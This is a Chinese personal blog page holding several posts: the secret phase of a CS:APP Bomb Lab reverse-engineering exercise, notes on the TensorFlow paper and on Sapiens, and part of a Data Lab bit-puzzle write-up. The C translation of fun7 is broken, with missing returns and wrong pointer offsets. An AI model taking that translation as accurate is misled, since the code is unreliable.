现在我们可以看到，sscanf 要求的输入格式是两个整数和一个字符串，而其中的两个整数是我们在关卡 4输入的值，那么剩下的字符串应该是什么呢？

我们可以看到，剩余的代码中还有一系列地址，我们打印他们指向的内存中的值：

可以看到最后一个就是我们想要的字符串。我们把它加到关卡 4 的答案后面即可进入隐藏关卡。

接下来我们查看隐藏关卡的代码：

0000000000401242 <secret_phase>:
  401242:	53                   	push   %rbx
  401243:	e8 56 02 00 00       	callq  40149e <read_line>
  401248:	ba 0a 00 00 00       	mov    $0xa,%edx
  40124d:	be 00 00 00 00       	mov    $0x0,%esi
  401252:	48 89 c7             	mov    %rax,%rdi
  401255:	e8 76 f9 ff ff       	callq  400bd0 <strtol@plt>
  40125a:	48 89 c3             	mov    %rax,%rbx
  40125d:	8d 40 ff             	lea    -0x1(%rax),%eax
  401260:	3d e8 03 00 00       	cmp    $0x3e8,%eax
  401265:	76 05                	jbe    40126c <secret_phase+0x2a>
  401267:	e8 ce 01 00 00       	callq  40143a <explode_bomb>
  40126c:	89 de                	mov    %ebx,%esi
  40126e:	bf f0 30 60 00       	mov    $0x6030f0,%edi
  401273:	e8 8c ff ff ff       	callq  401204 <fun7>
  401278:	83 f8 02             	cmp    $0x2,%eax
  40127b:	74 05                	je     401282 <secret_phase+0x40>
  40127d:	e8 b8 01 00 00       	callq  40143a <explode_bomb>
  401282:	bf 38 24 40 00       	mov    $0x402438,%edi
  401287:	e8 84 f8 ff ff       	callq  400b10 <puts@plt>
  40128c:	e8 33 03 00 00       	callq  4015c4 <phase_defused>
  401291:	5b                   	pop    %rbx
  401292:	c3                   	retq

代码首先读入一个字符串，然后调用 strtol 将它转换成 10 进制数，并和 0x3e8（也就是 1000）比较，如果大于1000，则引爆；否则，调用 fun7，fun7的参数是一个地址和一个数。如果 fun7 的返回值等于 2，则拆弹成功。

我们看看 fun7 做了什么。

0000000000401204 <fun7>:
  401204:	48 83 ec 08          	sub    $0x8,%rsp
  401208:	48 85 ff             	test   %rdi,%rdi
  40120b:	74 2b                	je     401238 <fun7+0x34>
  40120d:	8b 17                	mov    (%rdi),%edx
  40120f:	39 f2                	cmp    %esi,%edx
  401211:	7e 0d                	jle    401220 <fun7+0x1c>
  401213:	48 8b 7f 08          	mov    0x8(%rdi),%rdi
  401217:	e8 e8 ff ff ff       	callq  401204 <fun7>
  40121c:	01 c0                	add    %eax,%eax
  40121e:	eb 1d                	jmp    40123d <fun7+0x39>
  401220:	b8 00 00 00 00       	mov    $0x0,%eax
  401225:	39 f2                	cmp    %esi,%edx
  401227:	74 14                	je     40123d <fun7+0x39>
  401229:	48 8b 7f 10          	mov    0x10(%rdi),%rdi
  40122d:	e8 d2 ff ff ff       	callq  401204 <fun7>
  401232:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401236:	eb 05                	jmp    40123d <fun7+0x39>
  401238:	b8 ff ff ff ff       	mov    $0xffffffff,%eax
  40123d:	48 83 c4 08          	add    $0x8,%rsp
  401241:	c3                   	retq

fun7 是一个递归函数，它的 C 语言版本为：

// %rdi 为 &x, %esi 为 y

int fun7(int *x, int y) {
    if (x == NULL)
        return -1;
    int ret = 0;
    if (*x < y) {
        ret = fun7(x + 0x10, y);
        ret = ret * 2 + 1;
    } else if (*x == y) {
        return 0;
    } else {
        ret = fun7(x + 0x8, y);
        ret *= 2;
    }
}

为了让 fun7 返回 2，需要递归三层：

2 = 2 * 1
1 = 2 * 0 + 1
0 = 0

我们让 0x6030f0 + 0x08 + 0x10 = 0x603108，访问这个地址，我们得到 0x16（十进制为 22）。

终于，解决了隐藏关卡！

总结

这个实验耗费了我将近 4 天的时间，期间我无数次有过摔电脑的冲动。不过完成之后，我还是获得了慢慢的成就感，加深了对汇编语言的认识，也学习了 GDB 的使用方法。最关键的收获就是要自己冷静地分析和思考问题，相信自己可以做出来。

下一个 Lab，我来了。

TensorFlow 论文阅读笔记

发表于 2017-03-27 更新于 2021-03-03 分类于读书笔记 Disqus：

最近学习机器学习用到了 TensorFlow，所以找来了 Google Brain 团队发表的关于 TensorFlow 的论文学习，以下是一点笔记。

TensorFlow 的起源

Google 在成立 Google Brain 之后，为了内部研究和开发机器学习和深度神经网络的需要，开发了「DistBelief」，并且去得了很好得成果。在「DistBelief」的基础上，Google Brain 团队对所期望的系统有了更深入的理解，在加上新的对机器学习系统在不同运算环境中运行的需求，Google Brain 开发了 TensorFlow。

编程模型和基本概念

一个 TensorFlow 的计算过程被描述为一个有向图（directed graph），这个有向图由许多node 组合而成。不同的 node 可能保存着持久化的状态，也可能用来实现分支或循环操作。

在一个 TensorFlow 的数据流图中，每个 node 有零个或多个输入，也有零个或多个输出，并代表某个操作（operation）的实例化过程。在数据流图中普通边上流动的值被称为 *tensor，代表任意维度的数组。特殊的边被称为 control dependencies，这样的边上没有数据流动，只用来描述操作的依赖关系，用来后一个 *operation 必须在前一个 operation 完成之后才能执行。

下面是用 Python 实现的一个简单的数据流图：

实现的数据流图为：

Operations and Kernels

一个 operation 拥有一个名字，并且对一个计算进行抽象（比如矩阵乘法和加法）。一个 operation 也有很多属性（attributes），所有的属性必须在数据流图被构建的时候被提供或被推断，从而使得 TensorFlow 可以实例化一个 node 来执行这个 operation。

一个 kernel 是对一种可以运行在专门硬件（如：CPU或 GPU）上的 operation 的实现。TensorFlow 使用一种注册机制来维护 operation 和 kernel 的集合，用户可以通过链接新的 operation 或注册新的 kernel 在对 TensorFlow 进行拓展。

Session

用户通过创建一个 Session 来和 TensorFlow 交互。可以使用 Session 接口的 Extend 在对现有的数据流图进行拓展。Session 支持的另一个主要的操作是 Run*，它接受需要被计算的变量，和提供给数据流图的必要的数据来完成计算。调用 *Run 后，TensorFlow 会自动按照所定义的数据流图，并在遵守依赖关系的前提下完成计算。

Variables

通常，一个数据流图会被计算多次，大多数的 tensor 在数据流图的一次执行后就会消失。而一个 Variable 是一种特殊的 operation*，它可以返回一个指向在运算过程中持续存在的 *tensor 的引。这些引用可以被传递给其他操作来对 tensor 进行修改。在机器学习任务中，通常使用 Variable 来保存参数，并在数据流图的运算过程中不断更新。

实现

在一个 TensorFlow 系统中，用户通过 Session 和 TensorFlow 的 master 进程交互，master 进程将任务分配给不同的 worker 进程，而每个 worker 进程负责在一个或多个设备上执行运算。

TensorFlow 有「本地」和「分布式」的实现版本，其中「本地」的实现表示所有的运算都在同一个操作系统的进程中执行（该操作系统可能拥有多个 CPU 或 GPU）；而「分布式」的实现支持有多台主机的多个进程共同完成计算任务。

在 TensorFlow 中设备以及设备的名字和计算进程都会被合理的管理，用户可以通过注册的方法添加新的设备。

Tensor 在实现中是一个强类型的多维数组，Tensor 可以保存从 8 bits 到 64 bits 的有/无符号整数、单/多精度的浮点数、复数和字符串类型。TensorFlow 使用引用计数来管理内存，当某个实例没有指向它的引用时，这个实例会自动被销毁。

TensorFlow 在单个设备上执行

TensorFlow 的最简单的执行模型是：一个 worker 进程在一个设备上进行计算。数据流图中 node 按照定义的相互依赖关系执行。TensorFlow 会保存每个 node 所依赖的，并且没有执行完毕的 node 的个数，当所有依赖的 node 执行完毕之后，该 node 会被加入一个「就绪队列」中，在这个队列中的 node 的执行顺序是不确定的。

TensorFlow 在多个设备上执行

对于拥有多个运算设备的系统，TensorFlow 需要解决两个难题：

决定在哪个设备上执行某个 node 的计算任务
管理设备间的数据交流

node 计算任务的分配

对于一个给定的数据流图，TensorFlow 会使用设备分配算法（placement algorithm）负责将计算任务映射到可用的设备上。设备分配分配算法需要将成本模型（cost model）作为参数，它包含了每个 node 中计算操作的输入和输入张量的大小（以字节为单位）和该 node 估计的计算时间。

设备分配算法模拟数据流图的计算过程并使用贪心策略（greedy heuristic）来为每个 node 分配运算设备。

设备分配算法首先从数据流图的源头开始对每个 node 的计算过程进行模拟。当某个 node 需要计算资源时，设备分配算法会将运行该计算的预计时间最短的可用设备分配给该节点。对于需要多个计算设备的 node，分配算法会使用贪心策略考虑将计算分配到不同设备后所需要的计算时间，并会考虑设备间数据通信的成本。总之，分配算法会将执行某计算操作最快的可用设备分配给 node。

设备间的通信

当设备分配算法结束时，数据流图会被划分为多个子图，每个子图对应一个计算设备。位于不同运算设备的任务 x 和 y 之间的通讯被新建的 Send 和 Receive node所接管。

插入 Receive 和 Send 节点后，TensorFlow 使依赖于特定张量的操作使用同一个 Receive node，而不是每个操作都拥有一个 Receive node，这样可以避免不必要的内存分配，并可以解决数据同步问题。

这样处理设备通讯的方法可以使得管理分配在不同设备上的 node 实现去中心化。因为 Send 和 Receive nodes 解决了数据同步问题，所以 master 进程仅仅需要对每个 worker 进程发出运行指令，而不需要管理位于不同运算设备上计算任务之间的通信。

TensorFlow 在分布式系统上执行

TensorFlow 在分布式系统上的执行和在多个设备上的执行方式类似，在设备分配算法运行完后，每个子数据流图被分配到某个设备上，Send 和 Receive node 使用远程连接协议，比如：TCP 和 RDMA，在不同系统间传输数据。

容错

在分布式系统的运行过程中，错误可能在许多地方被检测到。TensorFlow 主要依赖于：

在 Send 和 Receive 之间的通信错误
master 进程对每个 worker 进程的周期性检查

当某个错误被检测到时，整个数据流图的计算将被中断并且从头开始。注意，因为 Variable 保存在计算过程中持续存在的张量，所以 TensorFlow 将每个 Variable 与一个 Save 节点连接，Save 节点会定义保存 Variable 的状态。当错误发生时，TensorFlow 可以从 Save 保存的最近的状态恢复。

TensorFlow 的高级特性

梯度计算（Gradient Computation）

许多优化和机器学习算法，如随机梯度下降（stochastic gradient descent），需要计算损失函数对某些输入的梯度。TensorFlow 有内置的对自动计算梯度的支持。如果 TensorFlow 中的一个 tensor $C$ 依赖于集合 ${X_k}$ 中的 tensor，那么内置的函数可以自动返回 ${dC/dX_k}$ 。

当 TensorFlow 需要计算 tensor $C$ 对 tensor $I$ 的梯度时，它首先找到从 $I$ 到 $C$ 的计算路径，之后，从 $C$ 反向回溯到 $I$，对于反向路径上的每个节点，TensorFlow 都会添加一个节点，并根据前向操作使用求导的「链式法则」得到「梯度计算函数」。每个「梯度计算函数」可能被注册到任意操作，它会将偏导数和前向计算过程的输出作为输入。特别的，对于操作 $O$ 如果损失函数 $C$ 仅仅依赖于输出中的 $y_1$ 而不依赖于 $y_2$，那么 $d_C/d_{y_1}=0$。

添加梯度计算节点会影响 TensorFlow 的优化能力，尤其是对内存使用的优化。开发团队也正在努力优化 TensorFlow 的内存管理策略。

数据流图的部分执行（Partial Execution）

TensorFlow 支持部分子图的运行。当用户将整个数据流图构建完毕之后，可以调用 Run 方法来确定要运行的任意子图，并且可以向数据流图的任意边输入数据，或从任意边读取数据。数据流图中的每个节点都有一个名字，该节点的每个输出都由节点名和输出端口确定，如 bar:0 表示 bar 节点的第一个输出。Run 方法的两个参数就可以确定唯一的子图。

当计算一个子图时，会在为子图创建一个 feed 节点作为输入，fetch 节点用来接收输出。

设备限制（Device Constraints）

TensorFlow 的用户可以通过对 nodes 添加对计算设备的限制来控制 nodes 的运算设备分配。用户可以设置某 node 仅可以在 GPU 上运算，或仅可以在设备的某进程中计算。

控制流（Control Flow）

虽然没有任何明确控制流的数据流图的表达能力很强，但是支持了条件语句和循环可以产生更加简洁也更加高效的机器学习算法。

TensorFlow 中添加了一些基本的控制流操作，可以处理环状的数据流图。switch 和 merge 操作使我们可以跳过整个子图的执行；enter，leave 和 nextIteration 操作使我们可以表达迭代。更高阶的 if 和 while 语句可以使用这些基本的原语来实现。

TensorFlow 实现了 tags 和 frames 标记，循环中的每一次迭代都被赋予唯一的 tag*，循环的执行状态用 *frame 来分割。一个可用的输入可以再任意时候进入迭代，这样，多次可以被并行执行。

TensorFlow 使用分布式定位技术（Distributed Coordination Mechanism）来执行带有控制流的数据流图。一般来说，一个循环可能包含被分贝在多个运算设备的 node。所以，管理循环的状态就变成了一个分布式的终止探测问题。TensorFlow 通过使用图重写（graph rewriting）来解决这个问题。在数据流图分割过程中，TensorFlow 会在每个子图中添加控制节点。这些节点实现了一个状态机，可以检测每次迭代的开始和结束，并决定是否终止循环。

我们常常使用梯度下降来训练机器学习模型，并且将梯度的计算过程作为数据流图的一部分。当一个模型包含了控制流时，我们必须判断控制流分支的方向，再计算梯度；同样的，当一个模型拥有一个 while 循环时，我们需要依赖于循环的中间值来进行计算。TensorFlow 尝试重写子图来保存计算梯度所需要的信息。

输入操作（Input Operations）

TensorFlow 处理支持通过使用 feed node 来为计算提供数据外，也支持添加用于输入数据的 input node，它们使用文件名来配置，并可以每次执行时产生包含了一个或多个存储来文件中的数据的 tensor。

队列（Queues）

TensorFlow 中的队列允许数据流图中的不同部分异步地执行，并且通过 enqueue 和 dequeue 要求或提供数据。enqueue 可以将队列阻塞，直到有足够的可用空间，之后将数据放入队列；dequeue 将队列阻塞直到队列中有足够的可用元素。队列使得 TensorFlow 可以实现并行计算，当上一组数据仍在被用于计算时，下一组数据可直接被取出用于计算。

除了 FIFO 队列外，TensorFlow 还实现了 Shuffling Queue*，它可以随机地“打乱”队列中的元素，并输出其中一组。这样的队列对于需要 *shuffling 功能的机器学习算法十分关键。

容器（Container）

容器用于管理长期存在的可变状态。一个 Variable 被存储在一个容器内，默认的容器知道进程结束后才会被销毁。通过使用容器，可以实现在与多个不同 session 想关联的数据流图之间共享状态。

优化

TensorFlow 中做了许多重要的性能优化，主要有：

Common Subexpression Elimination。TensorFlow 可以删除多余的计算操作，如同一个计算操作的多个具有相同输入输出的拷贝。
Controlling Data Communication and Memory Usage。TensorFlow 通过规划计算操作的执行对系统的性能实现了优化，尤其是在数据转移和内存占用方面。
Asynchronous Kernels。TensorFlow 拥有非阻塞的内核，该内核函数被传入一个计算任务，在之前的计算任务结束后，被传入的任务继续执行。
Optimized Libraries for Kernel Implementations。TensorFlow 使用高度优化的数学运算库来实现操作。
Lossy Compression。当在不同设备间传输数据时，TensorFlow 使用 lossy compression 来压缩高精度数据，从而加快传输效率。

TensorFlow 是 Google 在自己真实的人工智能经验上孵化出来的项目，非常值得我们学习。我觉得除了在学习工具外，对理论知识的学习才是重中之重，否则，即使进入了人工智能领域，码农也依然智能做搬砖的活儿。

【人类简史】读书笔记

发表于 2017-03-16 更新于 2021-03-03 分类于读书笔记 Disqus：

在历史的路上，有三大重要革命：大约7万年前，「认知革命」让历史正式启动；大约12000年前，「农业革命」让历史加速发展；而到了大约不过500年前，「科学革命」可以说让历史画下句点而另创新局。

认知革命

「认知革命」就是在大约7万到3万年前，出现了新的思维和沟通方式。

「认知革命」是历史从生物学中脱离而独立存在的起点。在这之前，所有人类行为都只称得上是生物学的范畴。

「思考」和「语言」是区分人和动物最根本的区别。人类语言真正独特的功能，并不在于能够传达关于人或狮子的信息，而在于能够传达关于一些根本不存在的事物的信息。就算是大批互不相识的人，只要同样相信某个故事，就能共同合作。

无论是现代国家、中世纪的教堂、古老的城市，或者古老的部落，任何大规模人类活动的根基，都在于某种只存在于集体想象中的故事。

除了存在于人类共同的想象外，这个宇宙根本没有神、没有国家、没有钱、没有人权、没有法律，也没有正义。

名称	新能力	更深远的影响
河边有只狮子	能够传达更大量关于智人身边环境的信息	规划并执行复杂的计划
八卦	能够传达更大量关于智人社会关系的信息	组织更大，更有凝聚力的团体
虚构故事	能够传达关于虚构概念的信息，例如守护神、国家、人权	大量陌生人间的合作；社会行为的快速创新

人类和黑猩猩之间真正不同的地方就在于那些虚构的故事，它像胶水一样把千千万万的个人、家庭和群体结合在一起。这种胶水，让我们成了万物的主宰。

认知革命之后生物学和历史的关系，我们可以简单整理成三点：

基本上，生物学为智人的行为和能力设下了基本限制，像是定出了一个活动范围，而所有的历史都在这个范围内发生。
然而，这个范围非常大，让智人有各种惊人的发挥空间。因为他们有创造虚构故事的能力，就能创造出更多，更复杂的游戏，代代相传也就不断发展精进。
因此，想了解智人的行为，就必须描述人类行为的历史演化。

语言和文化正是认知革命的主要成就。而正因为虚构故事已经出现，即使是在类似的生态、同样的基因组成下的人类，也能创造出非常不同的想象现实，表现出来就成了不同的规范和价值观。

整个动物界从古至今，最重要也最具有破坏性的力量，就是这群四处游荡、讲着故事的智人。

农业革命

农业革命的本质：让更多的人却以更糟的状况活下去。

人到现代还有着远古狩猎采集者的心，以及远古农民的胃。

农业革命所带来的非但不是轻松生活的新时代，反而让农民过着比采集者更幸苦、更不满足的生活。

种种想让生活变得轻松的努力，反而给人带来无穷的麻烦；而且这可不是史上最后一次。

我们从农业革命能学到的最重要一课，很可能就是物种演化上的成功并不代表个体的幸福。

在农业革命之后，「未来」的重要性被提到史上新高。农民不仅时时刻刻都得想着未来，还几乎说是为了未来在服务。

正是这些征收来的多余食粮，养活了政治、战争、艺术和哲学，建起了宫殿、堡垒、纪念碑和庙宇。在现代晚期之前，总人口有九成以上都是农民，日出而作，胼手胝足。他们生产出来的多余食粮养活了一小撮精英分子：国王、官员、战士、牧师、艺术家和思想家，但历史写的几乎全是这些人的故事。于是历史只告诉我们极少数的人在做些什么，而其他绝大多数人的生活就是不停挑水耕田。

不管是汉谟拉比还是美国的开国元勋，心中都有个想象的现实，想象着这个世界有着放诸四海而皆准、永恒不变的正义原则。但这种不变的原则其实只存在于他们创造并告诉彼此的虚构故事中。这些原则，从来就没有客观的正确性。

我们相信某种秩序，并非因为它是客观的现实，而是因为相信它可以让人提升合作效率、打造更美好的社会。

身为人类，我们不可能脱离想象所构建出的秩序。每一次我们以为自己打破了监狱的高墙、迈向自由的前方，其实只是到了另一间更大的监狱，把活动范围稍稍加以扩大。

然而历史的铁则告诉我们，每一种由想象构建出来的秩序，都绝不会承认自己出于想象和虚构，而会大谈自己是自然、必然的结果。

人类的融合统一

农业革命之后，人类社会规模变得更大、更复杂，而维系社会秩序的虚构故事也更为细致完整。

文化一直想弭平这些矛盾，因此就会促成改变。

想要确保「平等」，就得限制住那些较突出的人；而想要人人都能「自由」，也就必然影响所有人的平等。

像这样的矛盾，本来就是每个人类无法避免的，甚至还可以说是文化引擎，为人类带来创意、提供动力。就像两个不谐和音可以让音乐往前进，人类的不同想法、概念和价值观也能逼着我们思考、批评、重新评价。一切要求一致，反而让心灵呆滞。

金钱

因为有了金钱的概念，财富的交换、存储和运送都变得更容易也更便宜，后来才能发展出复杂的商业网络以及蓬勃的市场经济。要是没有钱，市场和商业网络的规模、活力和复杂程度都必然相当有限。

金钱并不是物质上的现实，而只是心理上的想象。金钱是有史以来最普遍也最有效的互信系统。

如果一切都能换成金钱，而大家相信的又都是不具名的硬币和贝壳，就可能伤害当地传统、亲密关系和人的价值，让冷酷无情的供需法则取而代之。

帝国

正因为古罗马在努曼西亚大获全胜，所以这些胜利者才会保留下了战败者的那些回忆。这种情节不太符合我们的品味，我们爱看的是反败为胜，是小人物的胜利。然而，历史就是没有正义。多数过去的文化，早晚都是遭到某些无情帝国军队的蹂躏，最后在历史上彻底遭到遗忘。就算是帝国本身最后也将崩溃，只是常常留下丰富而流传千古的遗产。在21世纪，几乎所有人的祖先都曾经属于某个帝国。

帝国是一种政治秩序，有两项重要特征。第一，帝国必须统治者许多不同的民族，各自拥有不同的文化认同和独立的领土。第二，帝国的特征是疆域可以灵活调整，而且几乎可以无限扩张。帝国的定义就只在与文化多元性和疆界灵活性两项，至于起源、政府形式、领土范围或人口规则并非重点。

文化多元性和疆界灵活性，不仅让帝国独树一格，更让帝国站到了历史的核心。正式这两项特征，让帝国能够在单一的政治构架下纳入多元的族群与生态区，让越来越多人类与整个地球逐渐融合为一。帝国正是造成名族多样性大幅减少的主因之一。帝国就像一台压路机，将许多名族独特性逐渐夯平，整合制造出他们更大的新群体。现在人类之所以有许多文化成就，常常背后考的就是剥削战败者。

中国这个帝国的最高成就就在于它仍然生龙活虎。有些人可能会怀疑它究竟算不算帝国，但只要看看偏远地区的西藏、新疆等地，就能知道此话不假。现在有超过九成的中国人口无论是自认为或是在他人眼中，都算是汉族。

现存的所有人类文化，至少都有一部分是帝国和帝国文明的遗绪，任何以学术或政治为名的手术，如果想把所有帝国的部位一次切除，病人也就必然魂归九霄。

宗教

我们今天常认为宗教造成的是歧视、争端、分裂。但在金钱和帝国外，宗教正是第三种让人类统一的力量。

宗教是「一种人类规范及价值观的系统，建立在超人类的秩序之上」。这里有两大基本要素：

宗教认为世界有一种超人类的秩序，而且并非出于人类的想象或是协议。
以这种秩序为基础，宗教会发展出它认为具有约束力的规范和价值观。
换句话说，宗教必须同时具备「普世特质」和「推广特质」。

有神论的宗教，重点在于神的崇拜；至于人文主义宗教，重点就是对人的崇拜，或者将得更明确，就是对智人的崇拜。人文主义的基本信念，就是认为智人是独特的、神圣的，从本质上就与其他现代动物有所不同。社会人文主义者认为所谓「人性」是个集体而非个人的概念。因此他们认为神圣的不是每个个人心中的声音，而是有所有智人这种物种所构成的整体。自由人文主义追求的，是尽可能为个人争取更多自由；而社会人文主义追求的，则是所有人都能平等。

成功的秘密

商业、帝国和全球性的宗教，最后终于将几乎每个智人都纳入了我们今天的全球世界。这个扩张和统一的过程并不是完全直线发展、一帆风顺。但纵观大局，可以看到从许多小文化到少数大文化再到最后的全球单一文化，应该是人类历史无法避免的结果。

历史的铁则就是：时候看来无可避免的事，在当时看来总是好不明显。

究竟为什么要学习历史？历史不想是物理学或经济学，目的不在于做出准确预测。我们之所以研究历史，不是为了要知道未来，而是要拓展视野，要了解现在的种种绝非「自然」，也并非无可避免。未来的可能性远超过我们的想象。

历史的选择绝不是为了人类的利益。随着历史演进，毫无证据显示人类的福祉必然提升。没有任何证据，证明对人类有益的文化就会成功扩张，而对人类无情的文化就会消失。没有任何证据，证明基督教是比摩尼教更好的选择，或证明阿拉伯帝国比波斯帝国对人类更有利。

科技革命

如果要在过去500年间挑出一个最重大、最具代表性的一刻，一定就是1945年7月16日上午5点29分45秒。就在这一秒美国科学家在新墨西哥的阿拉莫戈多引爆了第一颗原子弹。从这时开始，人类不仅有了改变历史进程的能力，更有了结束历史进程的能力。将人类带到阿拉莫戈多、带上月球这段历史进程，称为「科学革命」。在这场革命中，人类因为将资源投入科学研究，取得了巨大的新力量。

现代科学与先前的知识体系有三大不同之处：

愿意承认自己的无知。我们承认了自己并非无所不知。更重要的是，我们也愿意在知识进展之后，承认过去相信的可能是错的。于是，再也没有什么概念、想法或者理论是神圣不可挑战的。
以观察和数学为中心。承认无知之后，现代科学还希望能获得新知。方式则是通过收集各种观察值，再用数学工具整理连接，形成全面的理论。
取得新能力。光是创造理论，对现代科学来说还不够。它希望能够运用这些理论来取得新的能力，特别是发展出新的科技。
科学革命并不是「知识的革命」，而是「无知的革命」。真正让科学起步的伟大发现，就是发现「人类对于最重要的问题其实毫无所知」。

科学并不是处于某个更高的道德和精神层面，而是也像其他文化活动一样，收到经济、政治和宗教利益的影响。科学研究之所以能够得到经费，多半是因为有人认为这些研究有助于达到某些政治、经济或宗教的目的。科学并无力决定自己的优先级，也无法决定如何使用其发展。研究一定得和某些宗教或意识形态联手，才有蓬勃发展的可能。意识形态能够让研究所耗的成本合理化。而代价就是意识形态能够影响科学的进程表，并且决定如何使用研究成果。

在过去500年间，科学、帝国和资本主义之间的回馈循环无疑正式推动历史演进的主要引擎。

科学与帝国

虽然我们常常不愿意承认，但现在全球所有人的穿着、想法和品味几乎就都是欧洲人的穿着、想法和品味。

从1850年起，欧洲之所以能够称霸世界很大程度靠的就是军事、工业和科学领域的合作，以及如同巫术般神妙的科技。

中国和波斯其实并不缺乏制作蒸汽机的科技，他们缺乏的是西方的价值观、故事、司法系统和社会政治结构，这些在西方花了数个世纪才形成即成熟，就算想要照抄，也无法在一夕之间内化。之所以法国和美国能很快赶上英国的脚步，是因为它们本来就和英国共享一套最重要的故事和社会结构。而中国和波斯总是追赶不及，则是因为整个关于社会的想法和组织就是不同。

欧洲帝国远征改变了世界的历史：原本一些独立的民族和文化各自发展，现在则成了单一的人类社会进程。

科学能够从思想上让帝国合理化。正是帝国创造了我们所认识的世界，而且，其中还包括我们用以判断世界的意识形态。

资本主义

不论结果是好是坏，究竟是生病还是健康，现代经济就像是一个荷尔蒙过剩的青少年一样不断成长，吞噬着它看到的一切，而且成长的速度叫人跟不上。

「信任」就是世界上绝大多数金钱的唯一后盾。

正式「信用」的概念，让我们能够预支未来、打造现在。而这背后有一项基本的假设，就是未来的资源肯定远远超过目前的资源；只要我们使用未来的收入来投资当下，就会带来许多全新而美好的商机。

资本主义的基本原则在于，因为不论是正义、自由甚至块垒都必须依赖于经济增长，所以可说经济成长就是至善。

自由市场的美中不足就在于，它无法保证利润会以公平的方式取得或是以公平的方式分配。

工业革命和社会革命

工业革命的核心，其实就是能源转换的革命。显然，这世界上缺的不是能源，而是能够驾驭并装换符合我们所需的知识。

人类有史以来最大的社会革命是：家庭和地方社群崩溃，改由国家和市场取代。

消费主义和名族主义可说是夙夜匪懈，努力说服我们自己和其他数百万人是一伙的，认为我们有共同的过去、共同的利益以及共同的未来。这并不是谎言，而是一场想象。

我们比较容易体会个人的辛酸，而不是人类整体的苦难。

正因为全球帝国的疆域就是全世界，所以世界和平也就能得到有效地维持。

目前大多数的意识形态和政治纲领，虽然都说要追求人类幸福，但对于幸福快乐的真正来源为何却还是不明就里。

虽然智人确实取得了空前的成就，或许值得沾沾自喜，但代价就是配上几乎所有其他动物的命运。

快乐并不自傲与任何像是财富、健康甚至社群之类的客观条件，而在于客观条件和主管期望之间是否相符。

我们在试着猜测会想象其他人有多快乐的时候，我们总是想要设身处地去想想自己在那个情况下会如何感受。

我们对生活所赋予的任何意义，其实都只是错觉。

这么说来，所谓的快乐，很可能只是让个人对意义的错觉和现行的集体错觉达成同步而已。只要我们自己的想法能和身边的人的想法达成一致，我就能说服自己、觉得自己的生命有意义，而且也能从这个信念中得到快乐。

人类的末日

阿巴的出现其实代表着一股潜力，如果这股潜力完全发挥（而且人类没有因此灭亡），科学革命很可能就远远不只是历史学上的一场革命而已。这很有可能会成为地球出现以来最重要的生物学革命。

人类很难接受的一个事实就是，科学家不仅能够改造身体，也能改造心灵，未来创造出来的科学怪人可能就是硬生生比人类优秀不知凡几，他们看着我们，就像是我们看尼安特人一样带着一种轻蔑和不屑。

拥有神的能力，但是不负责任、贪得无厌，而且连想要什么都不知道。天下危险，恐怕莫此为甚。

【深入理解计算机系统实验笔记】| Data Lab

发表于 2017-03-12 更新于 2021-03-03 分类于计算机科学 Disqus：

最近阅读「深入理解计算机系统」，并在读书的过程中完成练习题和章节附带实验。实验一是「信息的表示和处理」章节的实验，主要考察对有/无符号整数、浮点数在 bite 级别存储和操作的理解。

总体要求

实验对可使用的操作、数字有严格的要求：

使用的整数必须在 0~255(0xFF)之间，而不允许使用大的常量，如：0xFFFFFFFF
不可以使用全局变量
在整数上可以使用的一元运算符只有：! 和 ~
在整数上可以使用的二元运算符只有：& ^ | + << >>
对个别题目的限制可能会略微放宽，如允许使用循环
每个答案会限制允许的最大操作数
在完成实验后，可以使用 dlc 工具检查代码的格式和操作数是否符合要求，使用 btest 检查结果是否通过测试。

题目及思路

bitAnd

要求：计算 x & y 的值
允许操作：~ |
操作数限制：8次

使用了简单的逻辑推导

$$ ~~(x & y) = (~~x) | (~~y) ==> (x & y) = ~((~~x) | (~y)) $$

可以得到答案：

int bitAnd(int x, int y) {
  /*
   * ~(x & y) = (~x) | (~y)
   * ==> (x & y) = ~((~x) | (~y))
   */
  return ~((~x) | (~y));
}

getByte

要求：得到 x 中第 n 个字节
n 的范围：[0, 3]
允许操作：! ~ & ^ | + << >>
操作数限制：6

以 x=0x12345678 为例，getByte(x, 0)=0x78, getByte(x, 1)=0x56。我使用了 0xff 作为 mask，将 x 的指定字节移动到低位后与 mask 做 & 运算得到结果。

1
2
3

int getByte(int x, int n) {
  return (x >> (n << 3)) & 0xff;
}

做完成这个题目的时候，我犯了一个错误。我认为整数在以 Intel 作为芯片的计算机使用小端存储，所以0x12345678在内存中的布局应该是0x78 0x56 0x34 0x12，那么如果要取得第 n 个字节的话，首先应该将x右移(3 - n) * 8位。按照我的错误理解，自然也得到了错误地结果。后来我在认识到：大/小端存储仅仅关系到整数的字节在内存的布局方式，当整数被加载在 CPU 中之后，字节的布局方式就不再存在大/小端的问题了

Endianness only matters for layout of data in memory. As soon as data is loaded by the processor to be operated on, endianness is completely irrelevent. Shifts, bitwise operations, and so on perform as you would expect (data logically laid out as low-order bit to high) regardless of endianness

logicalShift

要求：将 x 逻辑右移 n 位
假定 0 <= n <= 31
允许操作：! ~ & ^ | + << >>
操作数限制：20

这个问题主要是要解决负数右移后会在高位进行符号扩展的问题，需要在将 x 右移后将高位拓展后的位清零。所以我使用~(((0x1 << 31) >> n) << 1)作为 mask 将「扩展位」清零。这里用到的小技巧就是将(0x01 << 31)右移可以得到在高位做符号扩展从而得到模板，如((0x1 << 31) >> 8)可以得到0xff000000。

1
2
3

int logicalShift(int x, int n) {
  return (x >> n) & ~(((0x1 << 31) >> n) << 1);
}

bitCount

要求：得到在某个字中为 1 的 bit 个数
允许操作：! ~ & ^ | + << >>
操作数限制：40

这个题目我不会做，在网上找到了Hamming weight算法。这个算法的思想使用分治策略，先计算每两个相邻的 bit 中有多少个 1，之后再依次求解在4、8、16、32个 bit 中共有多少个 1。

int bitCount(int x) {
  x = (x & 0x55555555) + ((x >> 1) & 0x55555555);
  x = (x & 0x33333333) + ((x >> 2) & 0x33333333);
  x = (x & 0x0F0F0F0F) + ((x >> 4) & 0x0F0F0F0F);
  x = (x & 0x00FF00FF) + ((x >> 8) & 0x00FF00FF);
  x = (x & 0x0000FFFF) + ((x >> 16) & 0x0000FFFF);
  return x;
}

这个算法还有优化空间，所以也有使用更少操作的实现方法，但是我认为这个基础版本是最容易读的，用户体验更好。该问题及其他高效实现在StackOverflow

bang

要求：计算 !x
允许操作：~ & ^ | + << >>
操作数限制：12

